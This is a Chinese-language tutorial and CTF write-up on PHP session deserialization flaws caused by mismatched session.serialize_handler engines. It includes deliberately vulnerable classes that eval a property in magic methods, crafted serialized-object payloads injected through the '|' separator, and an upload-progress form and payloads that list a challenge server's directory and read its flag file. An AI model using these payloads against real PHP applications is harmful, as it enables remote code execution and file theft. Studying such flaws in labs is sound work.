参考链接:https://blog.spoock.com/2016/10/16/php-serialize-problem/
0x01 原理
php.ini中有个配置项如下:1
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
在php语法如下:1
ini_set('session.serialize_handler', 'xxxxx');
这里的xxxxx有三种不同的引擎,不同的引擎所对应的session的存储方式不相同。1
2
3
4
5php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数序列化处理的值
php: 键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):经过serialize()函数序列化处理的值
0x02 简单用法
test.php1
2
3
4
5
6
7
8
9
10
11
12<?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>
在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:”syclover”:1:{s:4:”func”;s:14:”echo “spoock”;”;}。那么反序列化得到的内容是:
1 | object(syclover)[1] |
同时页面输出spoock,说明成功执行了echo的命令,这只是一个简单的序列化啊漏洞例子
PHP Session 序列化不当的利用
HP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
1 | $_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}'; |
这里$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:”spoock”;s:24:”|O:11:”PeopleClass”:0:{}”;}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:
1 | array (size=1) |
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:”spoock”;s:24:”作为SESSION的key,将O:11:”PeopleClass”:0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际用法
这里假设1.php,2.php两个文件,每个文件所使用的SESSION的引擎不一样,这样就会产生一个漏洞
1.php1
2
3
4<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
2.php1
2
3
4
5
6
7
8
9
10
11
12ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
访问1.php,构造如下payload:1
localhost/1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
然后’php_serialize’将会设置session对话并且值为a:1:{s:6:”spoock”;s:48:”|O:5:”lemon”:1:{s:2:”hi”;s:14:”echo “spoock”;”;}”;}
访问2.php
这一步将会利用解析session对话的值,以|为分割符将session分割为键名和值两部分
键名:a:1:{s:6:”spoock”;s:48:”
值O:5:”lemon”:1:{s:2:”hi”;s:14:”echo “spoock”;”;}”;}
从而解析出了序列化,自动生成了lemon的类,当类在结尾销毁时将会调用析构函数执行恶意代码
CTF一道题
1 | <?php |
1 | ini_set('session.serialize_handler', 'php'); |
很明显的PHP Session 反序列化漏洞
根据代码的?phpinfo我们可以看到
首先第一行的session.serialize_handler默认为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
第三行的ession.upload_progress.enabled为On
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。
其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题
思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="sdas" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
这些代码在本地搞,然后抓包,修改filename的值1
2
3__FILE__ :被称为PHP魔术常量,返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径
dirname(__FILE__) 函数返回的是脚本所在在的路径。
下面构造序列化值1
2
3
4
5
6
7
8
9
10
11<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)))';
}
$obj = new OowoO();
echo serialize($obj);
echo '<br>';
$a = '|O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r(scandir(dirname(__FILE__)))";}';
echo serialize($a);
?>
加上|,而且考虑到转义问题,最终的payload为:1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";} |
这条可以爆出当前目录
最后通过file_get_contents()函数来读取文件1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag